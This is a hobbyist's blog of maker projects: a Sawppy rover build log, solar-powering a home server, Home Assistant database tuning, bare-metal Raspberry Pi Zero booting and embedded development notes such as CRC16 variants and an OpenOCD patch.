Blue Duck Valley Rd

Ausdauer: mechanical assembly

Tue, 05 Jan 2021 20:50:15 +0100

And that’s the end of the mechanical assembly. The differential went on fine, and the epoxy is strong enough to hold in the insets. There’s one last thing - I missed the insets on the end of the differential arm, so those are glued and curing

Next is the electrical assembly. That’ll take a while as each cable will need to be cut and extended.

Ausdauer_assembled2

Tue, 05 Jan 2021 20:50:00 +0100

Ausdauer: assembled

Sat, 02 Jan 2021 17:17:27 +0100

I’ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!

The remaining steps are:

Epoxy the steering wheel and differential inserts in. I didn’t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.
Cut the grooves on the left hand side shafts.
Print the differential.

Ausdauer: assembled

Sat, 02 Jan 2021 17:17:27 +0100

I’ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!

The remaining steps are:

Epoxy the steering wheel and differential inserts in. I didn’t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.
Cut the grooves on the left hand side shafts.
Print the differential.

Ausdauer: left rocker/bogie assembly

Sun, 27 Dec 2020 18:35:54 +0100

I’m working on a build of the Sawppy rover. Today was a major milestone, as I finished assembling the left hand rocker/bogie assembly. This covers all of the major parts and techniques needed to build the rover, so the remaining work is to crank the handle and get the right side and box done.

There’s more information at the build log.

Ausdauer

Sat, 12 Dec 2020 11:50:48 +0100

A build of the Sawppy rover.

Build log

2020-01-05

And that’s the end of the mechanical assembly! The differential went on fine, and the epoxy is strong enough to hold in the insets. There’s one last thing - I missed the insets on the end of the differential arm which are currently curing.

Next is the electrical assembly. That’ll take a while as each cable will need to be cut and extended.

2020-01-04

The brace is done and the remaining insets have been epoxied in. The next steps are to wait for the epoxy to dry, assemble the box, and attach the brace. That’s pretty much it for the mechanical side.

This is my first time using an epoxy. It’s quite nice to work with - viscous, and the 90 minute work time means there’s no rush. The lesson learned is that the parts can move / droop, so it’s worth checking after ~2h to see if the glued part is still in the correct position.

2021-01-02

I’ve almost completed the right hand side, and the left hand side is far enough along that I can assemble the whole rover!

The remaining steps are:

Epoxy the steering wheel and differential inserts in. I didn’t modify the print, and the 3D Jake insets are ~1 mm smaller in diameter.
Cut the grooves on the left hand side shafts.
Print the differential.

2021-01-01

I’ve now printed the right hand side, cut the beams and rods, and assembled most of it.

I sanded the printer’s bed and cleaned it with IPA, and it seems to be sticking better. The 3D Jake PLA has also run out, so I’m back on the Innofil which seems to be better in general.

Cura’s “one at a time” mode is useful for repeated parts such as the nut holders and circlips. If the first layer doesn’t stick to the bed then the fault is isolated to that one repetition.

2020-12-27

Over the last few days I cut the 8 mm rod, printed the remaining rocker components, and assembled the left hand drive:

Some lessons learned:

I cut the shafts to the given dimensions plus 1 mm for each slot and 1 mm to cover any material lost during cutting.
The printer adds a fair amount of ‘elephants foot’ that needs to be removed with a file for the servos to fit.
Something is off either in the bearings or components, as the E-Clips slots need an extra 1 mm of separation. For future ones I think I’ll cut one slot, then put the shaft in the assembly, then mark where the other slot should be.
I haven’t been able to find E-Clips locally, but they’re (mostly) used to hold the shafts in place while assembling, and a 3D printed version works fine.

2020-12-23

Today I assembled a large part of the rocker / bogie assembly.

I’ve sanded the build plate and cleaned it with IPA (which is available from the Pharmacy…). I have a theory that the bottom right of the build plate is ‘bad’ so will test by printing on the top left. It’s currently printing the servo holders and shows no issues.

2020-12-22

Today’s haul is most of the rocker / bogie components:

The bearing holes are too tight, but heating the bearings on the 3D printer bed and then inserting them with the vice works fine.

I had trouble in the last two days with the new filament not sticking to the bed, and instead getting caught on the nozzle and dragging around the bed. I used a brillo like pad to clean the nozzle and bed and it seems better since then.

2020-12-20

The drawing uses ‘M3insertL’ (5.1 mm) and ‘M3insertS’ (3.4 mm) as variables.

The Amazon insets are 5.6mm –> 5.12mm OD with a OAL of 3.85mm.

The 3DJake insets 4.7 mm –> 4.0 mm and 5.7 mm OAL.

Based on that, use 4.0 as M3insertL. M3insertS doesn’t seem to be used.

First print is OK but tight. Go for 4.1 mm.

The Philips head is 4.0 mm diameter. Drawing is 4.2 mm, but actual is 3.8 mm, so bump to 4.5 mm in the sketch.

With this, I now have a wheel assembly!

2020-12-18

All of the parts have arrived. I can’t find a source for 8 mm E-Clips but the first assembly can use 3D printed ones.

Printing the nut holders is tricky. The print often doesn’t stick to the bed, and the nozzle drags a bad print into the next print, disconnecting that. I’m using PrusaSlicer with Octoprint as Cura can’t handle a thin, upright model.

The threaded inserts are the wrong outer dimension. The 3D Jake ones are M3 x 5.7 with a outside diamer of 4.7 mm, but the Sawppy ones are 5.6 mm. I’ll need to re-work the original drawing to fix this.

2020-12-12

I cut the Makerbeam to length for the main box and one set of wheels. The mitre box works quite well. I added ~1mm to cover the material lost in the cut. The hacksaw is very cheap and the blade tensioner loosens over time. Not really a problem, but could be better.

2020-12-11

The hacksaw and mitre box arrived today. Tiny, shipped from the Netherlands, and in a ~20 L box…

Printed the first box corners:

VE.Direct

Tue, 01 Dec 2020 19:44:20 +0100

I’ve released vedirect, a tool parses the Victron VE.Direct TEXT protocol and exports the metrics over Prometheus and MQTT. This can be used to monitor your solar installation and view statistics in tools like Grafana or Home Assistant.

See the README for more. I’m using this to monitor the solar system used to power my home server.

Vedirect

Tue, 01 Dec 2020 19:44:14 +0100

nppilot

Fri, 27 Nov 2020 17:23:01 +0100

I realized I haven’t posted about the current generation of nppilot, my never complete, often restarted rover project.

The current version is a modified Traxxas E-Revo 1/16:

Under the hood this is:

A Revo controller running ROSflight for control and sensors.
A Raspberry Pi 3 running ROS for command and telemetry.

The frame is laser cut MDF with 3D printed mounts and risers.

It works well, but winter came before I made much progress on the control. The goal is for the Pi to do the planning using the GPS and a map of the local area, and to see how fast it can complete the course.

Reducing disk IO

Thu, 26 Nov 2020 00:02:42 +0200

I’m using a Raspberry Pi 4 with a USB3 based SSD to host this website and other services, and as a side effect the lounge looks like a disco due to all the flashing activity LEDs.

The machine should be fairly idle so I went looking for where the disk activity was coming from.

Running iotop -a and looking at the writes shows that mysql (aka MariaDB) is by far the heaviest writer.

Looking at the metrics recorded by the Prometheus mysqld_exporter:

delta(mysql_global_status_commands_total[1h])

gives:

which is dominated by inserts.

Dropping to the mysql command line and running:

SELECT table_name, table_rows from
INFORMATION_SCHEMA.TABLES ORDER BY table_rows DESC LIMIT 20;

gives:

table_name	table_rows
events	1731748
states	1577498
oc_filecache	26239
notice	23483

The events and states tables are part of my HomeAssistant installation. Reading the docs shows that the recorder commits every second and changing this to 5m using:

recorder:
  db_url: mysql+pymysql://hass:....@db/hass?charset=utf8
  commit_interval: 300

fixes the problem. This reduces the write rate from 680 KiB/s to ~95 KiB/s:

and cuts the I/O seconds per second:

and makes the lounge much less blinky, yay!

Solar at home

Thu, 19 Nov 2020 00:00:00 +0200

For the last month or so I’ve been working on making my home server (which also hosts this blog!) solar powered. It’s pointless but entertaining, and this is a first of a series of posts about what I learned on the way.

The summary is that a 55 W panel with 200 Wh of battery is enough to power a Raspberry Pi 4 with SSD during the European winter. You still need a mains power fallback, as a couple of days of grey weather will deplete the battery.

The last 7d have been fairly sunny:

This graph shows the power generated over a 16h window, so the peaks are the total generation for that day. Total for the week was 741 Wh or $0.15.

Solar in CH

Thu, 15 Oct 2020 00:00:00 +0000

This is a build log of my work-in-progress project to solar power my home server.

Build log

2021-01-10

The current system is working fine but there’s plenty of room to grow. The limits on the current system are:

Vbatt, no load: 13.3 V
V, charging at 4.5 A: 13.9 V
Imax (MPPT): 15 A
Imax (charge): 10 A (~0.5 C)
Imax (discharge): 22 A (~1 C)

Assuming the voltages double for a 24 V system, then:

Ppv (max): 13.9 * 2 * 10 = 278 W
Pload (max): 13.3 V * 2 * 22 = 585 W

The current loads are:

Server: 5 W * 24 h = 120 Wh
Internet: 6 W ? * 24 h = 144 Wh
TV: 200 Wh ?
Stereo: 100 Wh ?
Total: 560 Wh

The storage is:

Storage: 12.8 V * 25 Ah * 2 = 640 Wh

Take the irradiance from PVGIS. Given my location, and a mount of 60 deg from horizontal, then the monthly solar irradiation is:

45 (min) / 170 (max) kWh / m^2 / month

Changing to the optimal angle gives a peak of 200 kWh / m^2 / month (+18 %).

The Victron SPM040551200 is 0.36 m^2 giving ~15 % efficiency, so the power generated is:

2.4 kWh (min) / 9.2 kWh (max) / month
80 Wh (min) / 300 Wh (max) / day
1.45 Wh/w (min) / 5.45 Wh/w (max) / day

There’s not much data, but taking the recent sunny days in December:

92 Wh, 50 Wh, 47 Wh

which is the right ballpark.

Given the generation, storage, and load, then:

Fully charge during winter: 560 Wh / 1.45 Wh/w = 390 W
Fully charge during summer: 560 Wh / 5.45 Wh/w = 102 W

Taking a standard 215 W panel, then:

Minimum kWh / m^2 / month to fully run off solar:
- Consumption: 0.560 * 30 = 17 kWh
- Production: 215 W / 1.27 m^2 = 170 W / m^2 = 17 %
- Irradiance: 17 kW / 17 % = 100 kWh/month

5 months of the year are below this irradiance limit.

Taking other sized panels:

55 W: 390 kWh/month, so no months
115 W: 186 kWh/month, so height of summer
305 W: 70 kWh/month, so all but 4

During summer, a 215 W panel will produce 165 kWh * 1.27 m^2 * 15 % / 30 = 1050 Wh/day.

2021-01-09

The Enerpower 12 V 25 Ah arrived. The BMS doesn’t support connecting in parallel or series so I’m limited to one battery ATM.

I cracked open the other and it’s a box full of cylindrical cells in a 4S8P configuration. The balance wires are easy to access so I’ve ordered a 8S 24 V BMS from Aliexpress to rewire the two into one.

2020-10-25

Wrote a Victron to Prometheus exporter. Now starting to get data from the controller. Peak output from the panel was 38 W.

Recorded a timelapse of the sun on the target area. The Hero 7 records timelapse at 2 Hz and stores at 30 FPS, so 1s = 15s. The area is totally in shade by 10:27 in = 157 minutes after starting. Stopped at 15:01, 164m long, so in shade at 14:54. The sun is at 223 deg / 20 deg at that time, so the nearby buildings are at 20 deg.

2020-10-26

Printed a Victron BlueSolar to DIN adapter. Took two tries as the Victron mount isn’t flat.

Made an adapter for the Raspberry Pi header that supplies power and has a voltage divider to make the 5 V VE.Direct connection work with the 3.3 V Raspberry Pi.

Used the extra ports on the Raspberry Pi 4. Enabled by adding

dtoverlay=uart0
dtoverlay=uart1
dtoverlay=uart2
dtoverlay=uart3
dtoverlay=uart4
dtoverlay=uart5

to /boot/firmware/config.txt. This creates /dev/ttyAMA0 through to /dev/ttyAMA4. ttyAMA4 didn’t work initially as the pin had the wrong pinmux set. This can be fixed by running:

sudo raspi-gpio set 13 a4 pn

2020-10-27

Got most of a day’s worth of charge. The day was cloudy with good amounts of sun. Got around 100 Wh of generation out of the panel which charged the battery about by 50 to 70 %.

Power generated and consumed

Battery level

2020-10-28

Wired a relay and the fall back mains supply. The relay switches to mains fast enough, but the DC ready signal from the mains doesn’t decay fast enough causing the Pi to reset.

According to the Sonoff switch, the system pulls 8 W. On 12 V this is 4.3 W.

2020-10-29

Wrote a VE.Direct to Prometheus and MQTT exporter. Integrated with Home Assistant, works well.

2020-11-02

Printed the corner pieces for the stand and assembled. 11.5 mm U section aluminium for the posts. Designed for 28° which is good for winter here.

Corner mount

Bottom foot

Panel in sun with the frame

2020-11-03

Changed the power swichover relay to be driven by the Pi, and did a quick hack that checks the battery state every 10 minutes and switches using hysteresis.

2020-11-06

Tidied up powersel, added monitoring, and set the switchover values to their final values. Still runs as root.

2020-11-07

Added a udev rule to give gpio access to the pins, and made powersel use that group.

Set up backups using http://rclone.org/ to https://www.backblaze.com/b2/ on cron.weekly.

2020-11-08

Got a first full day of OK sunshine. The switch over worked correctly and the system ran on solar or stored energy for 14h.

Full day of charging

2020-11-08 pt2

What’s next:

Move the panel into the final location
Run the wires through the window and put the server in the final location
Publish the vedirect exporter
???

Ideally the outcome includes turning off the existing NAS. I have a solution for video, but not audio to Android.

2020-11-09

Looking at avg_over_time(victron_ppv_watt[24h])*24, gives:

2020-11-05 74 Wh 2020-11-06 39 Wh 2020-11-07 91 Wh 2020-11-08 65 Wh

Total of 269 Wh or 7c of electricity. 56 % of what’s needed to run the server.

2020-11-10

Daily charging totals

Looking at avg_over_time(victron_ppv_watt[16h])*16 gives the total number of Wh over a day.

Date	Generation
2020-11-05	74 Wh
2020-11-06	39 Wh
2020-11-07	91 Wh
2020-11-08	65 Wh
2020-11-09	85 Wh
2020-11-10	48 Wh

On 2020-11-09, the battery was fully charged and some generation was dropped:

Battery charge cycle

Load

2.35 W

2.08 W with /boot/firmware/usercfg.txt

hdmi_blanking=2
dtparam=pwr_led_trigger=none
dtparam=pwr_led_activelow=off
dtparam=audio=off
dtoverlay=disable-wifi
dtoverlay=disable-bt

Sun altitude

Location 47.37,8.53

Irradiance

Generation

From

https://re.jrc.ec.europa.eu/pvg_tools/en/tools.html

With a slope of 60 deg, produces 54 kWh/m²/month in December, which is ~1.8 kWh/d, or 75 W/m².

December is 30 % of the peak output.

Taking a Victron BlueSolar 90 W @ 119 CHF with area of 0.52 m². Solar irradiance is ~1120 W/m², so the panel is 15 % efficient.

So a 90 W panel can supply 5.9 W for 24 H in December.

To check, a 90 kW (note: 1000x) system gives 4278 kWh in December and 13853 in July at 37 deg, which is 6.5 W continious in Dec and 19.2 (3x) in July.

At 60 deg, this is 4825 kWh in December, or 6.7 W. 2 d of storage is 320 Wh, 26 Ah @ 12 V, or 53 Ah @ 12 V with 50 % cycling.

Storage

Wind loading

Appendix: unsorted links

2910

https://keisan.casio.com/exec/system/1224682277

https://pysolar.readthedocs.io/en/latest/

https://re.jrc.ec.europa.eu/pvg_tools/en/tools.html

https://github.com/pingswept/pysolar

http://www.solarelectricityhandbook.com/solar-irradiance.html

Horizontal = 1.31 to 5.64 kWh/m^2/day = ~39 to 169 kWh/m^2/month

https://re.jrc.ec.europa.eu/pvg_tools/en/tools.html

Horizontal - 30 to 200 kWh/m^2/month

Actual solar - 32 to 177 kWh/m^2/month

Panel: 545 x 668 x 25mm series 4a

So sin 28 deg = O/H, O = 313,

cos 28 deg = A/H, A = 589.

Vouch for authentication

Fri, 09 Oct 2020 00:02:42 +0200

I’ve started using Vouch for SSO to my personal site. Quite happy with the experience - it integrates well with Nginx, was straight forward to setup, and is straight forward to enable for different paths on the site.

Propeller adapter

Fri, 04 Sep 2020 00:02:42 +0200

A nice thing about having a 3D printer is quick fixes to small things. The 8x4 propeller that came with my Bixler 3 was loose on the motor shaft, so I 3D printed an adapter:

It took 5 minutes to print and three tries to get the tolerances right, but the propeller is now a good fit, much quieter, and seems more powerful. Yay!

Bixler 3 Drone

Sat, 29 Aug 2020 00:02:42 +0200

I recently purchased a HobbyKing Bixler 3 to use as a autopilot platform and am pretty happy with how it turned out. Both the under wing area and nose area have plenty of room and could easily fit a Pixhawk 4 Mini with GPS and telemetry.

I prefer the Pixhawk 4 Mini over the older Pixfalcon for a few reasons:

the servo connectors are built-in to the module
the safety switch is built-in to the GPS
two of the four sides are connector free, making it easier to route

I ended up putting the power distribution board in the under wing area and 3D printing a hatch to hold everything else:

The hatch is held on by the front tongue and 2x magnets. The autopilot, telemetry, and RX are on the bottom of the hatch and the GPS on top:

The plane flew just fine in stabilised and hold mode with the default PX4 aircraft turnings. I was a bit surprised by how PX4 handles a strong headwind - if the plane can’t make progress in hold mode at the cruise throttle then it gives up and switches back to stabilised mode.

Once the weather clears up I hope to do some waypoint tests. I’d also like to find a quieter propeller. The stock is fine, but it’s slightly unbalanced and could be much quieter.

Pan/tilt mount for a cell phone

Sat, 23 May 2020 00:00:00 +0200

I think it’s important to also post about the projects that didn’t turn out. Pudel was a project to automatically track and video a model plane using a cell phone camera.

The pan and tilt components were modeled in OpenSCAD and 3D printed. The pan unit had a standard 1/4-20 tripod mount and the tilt unit had a Samsung A40 mount that I’ve used on a few other projects.

Both were driven by standard HS-422 servos with a Trinket M0 for I/O and a 2S LiPo through a 6V BEC for power.

The I/O board ran CircuitPython with custom firmware that takes MIDI-like messages as servo commands. It implemented an acceleration limiter and velocity limiter to limit the jerk, as the servos are capable of 60 deg/0.2 s which is much faster than the plane would move.

The host side was going to be similar to Kieferbot and use ROS with an IO specific node, OpenCV based detection, and a PID controller to keep the plane centered in the frame.

So why did it fail?

The servos aren’t intended for precise, slow movement and hence had mild jerk.
There was too much slack in the mechanics, and the phone was mildly heavy, so mild jerk caused the phone to move about too much.
The plane is too small to resolve on a wide angle lens, so tracking was unlikely to work.

If I wanted to take it further, I can imagine some improvements:

Take the load off the pan servo. The tilt unit sits directly on top of the pan servo shaft and there’s not much material to sit on which increased the shake. Perhaps add a turntable style plates that most of the downwards force could go through.
Decrease the arm length out to the phone. It’s 30 mm and reducing to 20 mm would reduce the load on the tilt servo.
Try a phone with optical stabilization.

Tracking using a camera

Sun, 19 Apr 2020 00:00:00 +0200

Here’s Kieferbot being tracked through a camera:

It took a few iterations but I settled on matching the colour of the floor to create a floor mask, then findCountours to find the contours as a tree, and then searching the children of the root contours. As the bot is black, the children were matched against a ‘black pixels’ mask, and the contour with the most black pixels picked.

The camera is an Android phone running IP Webcam and sharing the back camera as MJPEG over HTTP over Wifi at 10 FPS. It could be higher, but the laptop doing the image processing has trouble keeping up with 30 FPS. The latency looks good - visually less than 200 ms.

The tracking seems reliable. If the bot goes off the bottom of the frame then other black areas are picked, but this can be detected by checking for a jump in position.

Next step is to integrate the camera position, phone sensors, and wheel velocity to get a controllable position.

Self-contained and smoke

Sat, 11 Apr 2020 00:00:00 +0200

A day of highs and lows. Here’s Kieferbot still in teleop mode but now self contained:

The PinePhone is taking commands from a PS4 DualShock over Bluetooth using ds4drv and sending them to the IO board over serial. I experimented with a few transports:

UDP over Wifi was fine, but the default ESP32 Wifi power mode added random latency of up to 100 ms. Switching to ‘always on’ mode by modifying MicroPython fixed this.
Bluetooth Low Energy worked for one-way communication to the IO board, but there was lots of packet loss when using Bluetooth for both the joystick and IO.

Inspired by Firmata, I settled on MIDI over serial. I quite like the MIDI format for short messages. A frame starts with the command followed by a command specific payload. The command has the MSB set so it’s simple to frame.

I also compiled ROS Kinetic for Debian Buster and created an IO node that takes left and right velocity commands. There seems to be an ordering issue with either the ESP32 PWM chip or the FIT0441 controller, where going from forward to reverse and vice-versa is fine but the motor won’t start sometimes when going from zero.

So plenty of highs, but the low was releasing the smoke - I’m using a LiPo battery for the supply and something short-circuited when unplugging the battery. It seems to have taken out the regulator and the ESP32 flash.

Next step is to re-make the IO board using an ItsyBitsy M4. It also runs MicroPython so the IO software was easy to port. I’ve ordered some Seeed XIAO boards - $5 gives you a MicroPython compatible SAMD21 with 9 pins of IO which is enough for this project.

This time I’ll secure the battery socket better and 3D print a shield.

Teleop

Sun, 22 Mar 2020 00:00:00 +0200

As a winter project, I’m turning my PinePhone into an indoor robot. The Pinephone has everything needed for a decent stand-alone robot: plenty of CPU, a camera, gyro/accelerometor/compass, display, and it can run Debian.

Below is a video of the hardware in teleop mode. A Lolin32 ESP32 running MicroPython takes commands over Bluetooth LE and sends PWM and direction signals to the FIT0441 motors. The frame is 3D printed.

Currently the phone is just a passenger. The next step is to get the phone to communicate with the IO board.

Bare metal Raspberry Pi Zero

Sun, 09 Feb 2020 00:02:42 +0200

These are short notes on loading baremetal software on the Raspberry Pi Zero. I started down this path due to wanting to learn Rust, which lead to Tock which is an embedded operating system in Rust. Rather than buy yet another piece of hardware I though I’d use one of my 5 (!) Raspberry Pi Zeros as a development board instead. It’s just another microcontroller, just one that runs at 1 GHz and has a ton of RAM…

Console

See https://pinout.xyz/pinout/uart for the UART pins. Note that on Linux you need to add enable_uart=1 to boot/config.txt.

Connect to a USB –> Serial adapter and launch a console at 11500 baud.

Examples

See dwelch’s bare metal examples. Note that every Pi model has different things on different pins so use the examples from boards/pizero.

Loading

The Pi Zero can boot over USB from a host machine without needing a SD card. This greatly reduces the build/debug cycle. To do this:

Fetch bootcode.bin and start.elf from the firmware repo.
Fetch the usbboot repo and build.
Copy the .bin file to kernel.img
Run sudo rpiboot -d .
Unplug / plug the board

A fully worked example is:

$ git clone --depth 1 https://github.com/raspberrypi/firmware
Cloning into 'firmware'...
$ mkdir boot
$ cp firmware/boot/bootcode.bin firmware/boot/start.elf boot/

$ git clone https://github.com/raspberrypi/usbboot.git
Cloning into 'usbboot'...
$ make -C usbboot/

$ git clone https://github.com/dwelch67/raspberrypi.git
$ make -C raspberrypi/boards/pizero/uart02/
$ cp raspberrypi/boards/pizero/uart02/uart02.bin boot/kernel.img

$ sudo ./usbboot/rpiboot -d boot
Waiting for BCM2835/6/7/2711...
Sending bootcode.bin
Successful read 4 bytes
Waiting for BCM2835/6/7/2711...
Second stage boot server
File read: start.elf
File read: kernel.img
Second stage boot server done

JTAG

Add enable_jtag_gpio=1 to boot/config.txt
Wire up using https://github.com/raspberrypi/linux/issues/1749#issuecomment-265404857
Use the raspberry.cfg from https://sysprogs.com/VisualKernel/tutorials/raspberry/jtagsetup/
Run openocd using openocd -f interface/jlink.cfg -f ./raspberry.cfg
Run gdb-multiarch against the corresponding ELF file

giving:

$ sudo openocd -f interface/jlink.cfg -f ./raspberry.cfg
Open On-Chip Debugger 0.10.0
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.org/doc/doxygen/bugs.html
adapter speed: 100 kHz
adapter_nsrst_delay: 400
none separate
Info : auto-selecting first available session transport "jtag". To override use 'transport select <transport>'.
Info : No device selected, using first device.
Info : J-Link ARM V8 compiled Nov 28 2014 13:44:46
Info : Hardware version: 8.00
Info : VTarget = 3.287 V
Info : clock speed 100 kHz
Info : JTAG tap: rspi.arm tap/device found: 0x07b7617f (mfg: 0x0bf (Broadcom), part: 0x7b76, ver: 0x0)
Info : found ARM1176
Info : rspi.arm: hardware has 6 breakpoints, 2 watchpoints

Note that the ARM CPU needs to be running some code for the JTAG to connect.

ESPHome as a Ruuvi bridge

Sat, 01 Feb 2020 00:02:42 +0200

ESPHome is a framework for building custom home automation that runs on an ESP8266 or ESP32. It’s pretty cool - you select and configure components by writing a YAML file, which then drives host side Python snippets to configure and bind the device side code, which is then built and pushed using PlatformIO.

Some nice touches:

It integrates with Home Assistant and has automatic discovery
It can drive displays, including rendering TTF files host side to give nice fonts device side
It looks reasonably composable so, for example, you can have multiple Bluetooth broadcast parsers

I used this to bridge between Ruuvi tags and my Home Assistant instance. Home Assistant then re-exports everything to Prometheus.

It also gave me a reason to break out the 3D printer and make a case for the ESP-WROOM-32 based Lolin32:

Android phone as an alarm clock

Sat, 20 Oct 2018 00:02:42 +0200

My son wanted to get an alarm clock for his room which preferably plays MP3s. MP3 players are surprisingly expensive at 40 CHF for a 4 GiB model so I picked up a used Moto E 2nd gen phone for 35 GBP, loaded a stripped down version of Lineage OS on it, and designed a 3D printed a stand:

I’m quite happy with how it turned out. The phone is just an alarm clock and MP3 player as the other apps are either not installed or (like the Play Store) behind Lineage’s protected app feature. This gives ~5 GiB of free storage for songs. The battery lasts for >= 5d as well.

I’ll do one more revision to build a right angle USB cable into the base for easy charging.

ST Link v2 clone as a dev board

Thu, 04 Jan 2018 17:22:05 +0100

I got distracted and had a hack on using a STL Link v2 clone as a development board. There’s a lot to like:

A Cortex-M3 STM32F103C8T processor with 64 KiB of flash and 20 KiB of RAM
4 I/O lines and a LED to blink
Decent support in STM32duino with a DFU bootloader
Comes in a case and plugs directly into a USB port
~$2/each

The I/O is strange and limited but it’s enough to drive a RGB LED via PWM, drive a 40 RGB LED pHAT over SPI, and drive a 320x240 LCD over fast bitbanged SPI.

I won’t continue with this though. The I/O is too limited and a Blue Pill is the same price sans case.

ST Link v2 clone as a dev board

Mon, 01 Jan 2018 15:12:38 +0100

Notes on using an Aluminium case ST Link v2 clone as a development board. In summary, it can:

Talk to the host over USB
Blink the built-in LED (!)
Drive a RGB LED via PWM
Drive a 40 RGB LED pHAT over SPI
Drive a 320x240 LCD over fast bitbanged SPI

Docs

Programming

I used a Segger J-Link to load the pre-built STM32duino bootloader. As the LED is on PA9, use the generic_boot20_pa9.bin version.

Pins

Function	Pin	Feedback pin
RST	PB6	PB5
SWDIO	PB14	PB12
SWCLK	PA5 + PB13	None
SWIM	PB8 + PB11	PB7 + PB9 + PB10
LED	PA9	N/A

The ‘feedback’ pins have an extra 100 R to 680 R resistor between the main pin and the feedback pin. I assume this is used to detect if the DUT is driving the pin at the same time as the debugger.

Functions

Port	Default alternate	Remap alternate
PA5	SPI1_SCK, ADC12_IN5	None
PA9 (LED)	USART1_TX, TIM1_CH2	None
PB5	I2C1_SMBAI	TIM3_CH2, SPI1_MOSI
PB6	I2C1_SCL, TIM4_CH1	USART1_TX
PB8	TIM4_CH3	I2C1_SCL, CANRX
PB7	I2C1_SDA, TIM4_CH2	USART1_RX
PB9	TIM4_CH4	I2C1_SDA, CANTX
PB10	I2C2_SCL, USART3_TX	TIM2_CH3
PB11	I2C2_SDA, USART3_RX	TIM2_CH4
PB12	SPI2_NSS, I2C2_SMBAI, USART3_CK, TIM1_BKIN	None
PB13	SPI2_SCK, USART3_CTS, TIM1_CH1N	None
PB14	SPI2_MISO, USART3_RTS, TIM1_CH2N	None

Or, transposed:

Function	Available features	But…
I2C1	SCL, SCL, SDA	SDA is behind a 680R (might be OK)
I2C2	SDA, SMBAI, SDA	No SCK
SPI1	SCK, MOSI	MOSI is on a remap, and remap is all or nothing
SPI2	SCK, MISO, NSS
USART1	TX, RX	Usable
USART3	RX, CTS, RTS, CK, TX	TX and RX are on the same pin

Zephyr Project

Mon, 01 Jan 2018 00:00:00 +0000

SDHC over SPI performance

Fri, 29 Dec 2017 15:23:56 +0100

I’m hacking on adding SDHC over SPI block device support to the Zephyr Project RTOS.

I’m currently getting 224 KiB/s on an Arduino Zero with a 4 MHz bus and 1 KiB read size, which is an OK-ish 46 % of the top bus capacity.

Here’s where the time goes:

4550 us - total time to read 2x 512 byte blocks from the card
80 us - time spent in ELM FS (impressive!) and timing code
330 us - time for the no-name SD card to make the sector ready
1500 us - time to transfer 512 bytes over SPI
330 us - time to calculate the CRC to check the sector

The SPI transfer itself is done in bursts of 16 bytes (~32 us) and the SPI driver has a turn-around time of 16 us.

Turning that into percentages,

4 % is in core code
15 % is in the SD card
67 % is in the SPI transfer
15 % is in the CRC

The next steps are to optimise the SPI driver and use the hardware CRC unit. That could bring the time per block down to (80 + 330 + 1000 + 100) = ~1500 us and the transfer rate up to 332 KiB/s / 67 % utilisation.

The many different CRC16-CCITTs

Mon, 27 Nov 2017 20:24:30 +0100

I’m hacking on adding Arduino Zero support to the Zephyr Project at the moment. I had a look at speeding up crc16_ccitt() but ran into a problem: there’s so many variants of CRC16-CCITT to choose from!

Zephyr uses CRC-16/AUG-CCITT which is equivalent to CRC-16/CCITT-FALSE with two zero bytes prepended. The effective seed is 0x1d0f and test vector output is 0xe5cc.
Mynewt uses CRC-16/XMODEM. The seed is 0 and test vector output is 0x31c3.
Contiki uses CRC-16/CCITT. The seed is 0, input and output are bit reversed, and test vector output is 0x2189.
Linux uses CRC-16/MCRF4XX. The seed is 0xffff, input and output are bit reversed, and the test vector output is 0x6f91.
The Arduino Zero’s SAMD21 uses CRC-16/CCITT as per Contiki.

Contiki, Linux, and the SAMD21 are the same except for the seed. Zephyr is close, but you need to modify the seed to account for the padding. Mynewt is the outlier as all others reverse the input and output.

See http://reveng.sourceforge.net/crc-catalogue/16.htm for a catalogue.

OpenOCD with the ST-Link v2

Mon, 09 Oct 2017 20:28:54 +0200

There is an issue when trying to program a SAMD21 like in the Arduino Zero using OpenOCD with a ST-Link v2 which gives errors like this:

** Programming Started **
auto erase enabled
Info : SAMD MCU: SAMD21E18A (256KB Flash, 32KB RAM)
Error: Failed to erase row containing 00000000
Error: SAMD: failed to erase sector 0
Error: failed erasing sectors 0 to 0

The issue is that NVMCTRL_CTRLA is a half-word register and the ST-Link v2 emulates the half word write using two single byte writes.

The hack-around is to change to a word write:

diff --git a/src/flash/nor/at91samd.c b/src/flash/nor/at91samd.c
index 2673b0ee..f060bceb 100644
--- a/src/flash/nor/at91samd.c
+++ b/src/flash/nor/at91samd.c
@@ -472,7 +472,7 @@ static int samd_issue_nvmctrl_command(struct target *target, uint16_t cmd)
        }

        /* Issue the NVM command */
-       res = target_write_u16(target,
+       res = target_write_u32(target,
                        SAMD_NVMCTRL + SAMD_NVMCTRL_CTRLA, SAMD_NVM_CMD(cmd));
        if (res != ERROR_OK)
                return res;

See https://sourceforge.net/p/openocd/mailman/message/34565277/ for more.

SAMD21E18 PCB

Mon, 02 Oct 2017 19:31:48 +0200

In follow up to my mysensors.org build, I’ve always wanted to design PCB and try my hand at SMD soldering. I normally use veroboard on a 0.1” pitch but the time to cut and solder wires makes for a slow build. Here’s the result:

It has:

An AT91SAMD21E18 (256 KiB flash, 32 pins, 0.8 mm pitch)
USB, regulator, Cortex SWD debug header, LED, and pullups on I2C
Footprint for a RFM69CW radio
Adafruit Feather form factor
Two layer PCB with 0603 passives

The soldering turned out well. I mainly used the used the tin/remove-excess-with-solderwick method and a heatgun for the USB socket. For the CPU tinning and then pressing down on the pins with the tip of the iron worked well.

Changes for the next version would be:

Add a ~10 k pullup to RST
Move the LED to PA17 to match the Zero
Reduce the LED current limit resistor to 1k from 2k2
Put footprints on the bottom of the board for a Si7021 and/or a 25FL064+

MySensors

Mon, 02 Oct 2017 19:27:58 +0200

It gets warm and humid here in the summer and feels too dry in the winter. To measure this I built up two MySensors Sensebender Micro boards and designed a 3D printed a case to go with them:

The holes in the case are to save on print time and let the air flow. The battery is far oversized and probably self discharges faster than the board draws current.

I ended up using a Raspberry Pi Zero with a RFM69HW as the gateway. It’s connected as a Ethernet gadget to my home server which lets everything run over IP while using a single cable for power and data.

Adventures in making PCBs

Mon, 11 Sep 2017 11:09:18 +0200

As part of adding MySensors based sensors around the house, I want to make an integrated version of the Sensebender Micro upgraded with a SAMD21 and a RFM69HCW radio. I’ve never had much success with making PCBs at home, so I thought I’d give it another try and record the experiments.

